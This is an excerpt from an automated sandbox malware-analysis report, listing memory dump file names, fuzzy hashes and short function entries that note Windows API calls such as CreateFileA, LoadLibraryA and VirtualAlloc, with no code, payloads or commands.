Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 49c1c575adcf532cb78c0df9e55798e96576dad58baff6a889d4c4e3d857b351
Instruction ID: 3513860b2f502631da5e237b78fb09ef1763801fae41c03006cf28aff1fdd9c2
Opcode Fuzzy Hash: 49c1c575adcf532cb78c0df9e55798e96576dad58baff6a889d4c4e3d857b351
Instruction Fuzzy Hash: 37F0F63000A226CFE709EEA094D26EA7BACDE05318321A42AC48AA7507E3304D0BD7D7

Function 00E7B80F Relevance: 1.5, APIs: 1, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00E7B871

Memory Dump Source

Source File: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 436b526507d81ce82a048271c95bc367fdbf28b1b23a45dcbc002f7e4a15fdba
Instruction ID: b27b0c7dc1fe550f05b7d2b43a8952fcec3710ff1aa62e5d67271fad15ff48a0
Opcode Fuzzy Hash: 436b526507d81ce82a048271c95bc367fdbf28b1b23a45dcbc002f7e4a15fdba
Instruction Fuzzy Hash: 1AF059310481258EEB08AEA098C36E7776CDE01359311A46AD889AB557E321490BE7C7

Function 00E7B833 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00E7B871

Memory Dump Source

Source File: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4641ea912b0917c2a90e083a72cb4e085446279a94af241accd0a72dc8a10743
Instruction ID: bf28ce0a042d0780c4934560635d491bc72815da4df2a98985487ff63cdb713f
Opcode Fuzzy Hash: 4641ea912b0917c2a90e083a72cb4e085446279a94af241accd0a72dc8a10743
Instruction Fuzzy Hash: D6E0AB621186215FFB092E709C977CB3B6CDF00318329986AD448E710BE6148A0AC383

Function 00E7B862 Relevance: 1.5, APIs: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00E7B871

Memory Dump Source

Source File: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9bf2b7328b12b5d1970db725c39185b90f8b3a365561a5855222e89079fd665b
Instruction ID: f134c0c187475cfa0b9927e7146e3a2441cd11e75e30c3be4df589af0d5e6e58
Opcode Fuzzy Hash: 9bf2b7328b12b5d1970db725c39185b90f8b3a365561a5855222e89079fd665b
Instruction Fuzzy Hash: 22E02B385055524FDB457F7048AB6CF7FB0AD452043165499C480AF24FE734870BEBC2

Function 00E84C18 Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E84C1E

Memory Dump Source

Source File: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1874f8a71f9fcfbcce5fbb403d5bbdb0fb7ad5b7187d58e5dbcca23e4a0d0c38
Instruction ID: 0e588cdd15e8cc30a7223717427bf9dd7a02456821ba3e7f6fa7a6d3d12608d5
Opcode Fuzzy Hash: 1874f8a71f9fcfbcce5fbb403d5bbdb0fb7ad5b7187d58e5dbcca23e4a0d0c38
Instruction Fuzzy Hash: 8FC09B755083058BD7003F74D9CD25E7A95EB08300F541524DFD553600D7355C605747

Function 00CFE88B Relevance: 1.3, APIs: 1, Instructions: 26
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CFF560

Memory Dump Source

Source File: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
